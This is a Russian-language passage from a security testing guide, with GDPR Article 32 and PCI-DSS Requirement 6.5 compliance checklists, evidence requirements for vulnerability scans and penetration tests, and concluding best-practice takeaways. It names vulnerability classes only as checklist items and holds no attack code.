### Чек-лист тестирования

#### Шифрование (Ст. 32.1.a)
- [ ] Данные зашифрованы в покое (AES-256 или эквивалент)
- [ ] Данные зашифрованы в передаче (минимум TLS 1.2+)
- [ ] Управление ключами шифрования протестировано
- [ ] Шифрование резервных копий проверено

#### Контроль доступа (Ст. 32.1.b)
- [ ] Контроль доступа на основе ролей (RBAC) реализован
- [ ] Принцип минимальных привилегий применен
- [ ] Логи доступа ведутся (кто, что, когда)
- [ ] Регулярный процесс проверки доступа

#### Устойчивость (Ст. 32.1.b)
- [ ] Конфигурация высокой доступности протестирована
- [ ] План аварийного восстановления валидирован
- [ ] RTO (Цель времени восстановления): < 4 часов
- [ ] RPO (Цель точки восстановления): < 1 часа

#### Регулярное тестирование (Ст. 32.1.d)
- [ ] Ежеквартальные тесты на проникновение
- [ ] Ежемесячное сканирование уязвимостей
- [ ] Ежегодный аудит безопасности
- [ ] Учения по реагированию на инциденты (раз в полгода)

Требования PCI-DSS

## PCI-DSS Требование 6: Безопасная разработка

### 6.5 Устранение распространенных уязвимостей кодирования

- [ ] **6.5.1** Недостатки инъекции (SQL, OS, LDAP)
- [ ] **6.5.2** Переполнение буфера
- [ ] **6.5.3** Небезопасное криптографическое хранилище
- [ ] **6.5.4** Небезопасные коммуникации
- [ ] **6.5.5** Неправильная обработка ошибок
- [ ] **6.5.6** Высокорисковые уязвимости (OWASP Top 10)
- [ ] **6.5.7** Cross-site scripting (XSS)
- [ ] **6.5.8** Неправильный контроль доступа
- [ ] **6.5.9** Cross-site request forgery (CSRF)
- [ ] **6.5.10** Нарушенная аутентификация

### Требуемые доказательства тестирования

1. **Отчеты о сканировании уязвимостей** (Ежеквартально)
   - Все уязвимости "Высокие" и "Критические" устранены
   - Результаты сканирования от ASV (Одобренный поставщик сканирования)

2. **Отчеты о тестах на проникновение** (Ежегодно)
   - Тестирование сетевого уровня
   - Тестирование уровня приложения
   - Валидация сегментации

3. **Документация ревью кода**
   - Ручное ревью кода для критических изменений
   - Результаты инструмента SAST
   - Отслеживание устранения

4. **Записи контроля изменений**
   - Оценка влияния безопасности для изменений
   - Результаты тестирования перед развертыванием в продакшн

Заключение

Эффективная документация тестирования безопасности необходима для защиты приложений, поддержания соответствия и укрепления доверия с пользователями и заинтересованными сторонами. Следуя руководствам OWASP, проводя тщательные тесты на проникновение, документируя уязвимости комплексно и тщательно отслеживая устранение, организации могут значительно улучшить свою позицию безопасности.

Ключевые выводы:

1. Стандартизировать тестирование: Использовать OWASP Top 10 как основу для тестирования безопасности
2. Документировать тщательно: Детальные находки обеспечивают эффективное устранение
3. Приоритизировать по риску: Использовать оценку CVSS для фокуса на критических уязвимостях
4. Отслеживать устранение: Обеспечивать исправление и верификацию уязвимостей
5. Автоматизировать где возможно: Интегрировать тестирование безопасности в CI/CD pipeline’ы
6. Поддерживать соответствие: Регулярное тестирование выполняет регуляторные требования
7. Непрерывное улучшение: Тестирование безопасности - это постоянный, а не разовый процесс

Помните: Безопасность - это не продукт, а процесс. Регулярное тестирование, комплексная документация и быстрое устранение - это столпы надежной программы безопасности.